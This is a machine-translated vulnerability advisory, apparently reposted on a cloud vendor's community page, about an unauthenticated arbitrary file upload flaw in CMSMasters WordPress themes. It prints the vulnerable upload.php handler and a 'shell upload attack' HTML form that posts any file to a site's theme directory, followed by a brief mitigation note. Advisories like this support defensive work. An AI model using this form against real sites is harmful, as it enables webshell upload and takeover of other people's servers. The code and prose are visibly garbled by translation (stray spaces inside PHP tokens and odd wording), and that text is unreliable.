Multiple WordPress CMSMasters theme 'upload. php' Arbitrary File upload Vulnerability and repair

Source: Internet
Author: User

Vulnerability version: cmsmasters Clockstone is the ultimate topic of Wordpress. A single topic integrates many functions. WordPress Clockstone and other themes have the File Upload Vulnerability. This vulnerability exists because the problem Code does not perform authentication on logged-on users. Attackers can upload arbitrary files to the victim's site to gain access to the site. Code with vulnerabilities in the topic: ######################################## #######################<? Php # if ($ _ POST ['url']) {$ uploaddir =$ _ POST ['url'];} # $ first_filename = $ _ FILES ['uploadfile'] ['name']; # $ filename = md5 ($ first_filename); ##$ ext = substr ($ first_filename, 1 + strrpos ($ first_filename ,'. '); ##$ file = $ uploaddir. basename ($ filename. '. '. $ ext); ## if (move_uploaded_file ($ _ FILES ['uploadfile'] ['tmp _ name'], $ file) {# echo basename ($ filename. '. '. $ ext) ;#} else {# echo 'error ';#}##?> Test: ######################################## ####################### Shell upload attack: <br/> # <form enctype = "multipart/form-data" action =" http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php "Method =" post ">#< input type =" text "name =" url "value = ". /"/> <br/> # Please choose a file: <input name = "uploadfile" type = "file"/> <br/> # <input type = "submit" value = "Upload"/>#</form> ## ######################################## #################### temporary solution: if you cannot install or upgrade patches immediately, we recommend that you take the following measures to reduce the threat: * disable the CMSMasters theme vendor patch: cmsmasters ---------- currently, the vendor has not provided patches or upgrade programs, we recommend that users who use this software follow the vendor's homepage to obtain the latest version: http://themeforest.net/item/clockstone-ultimate-wordpress-theme/306607

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.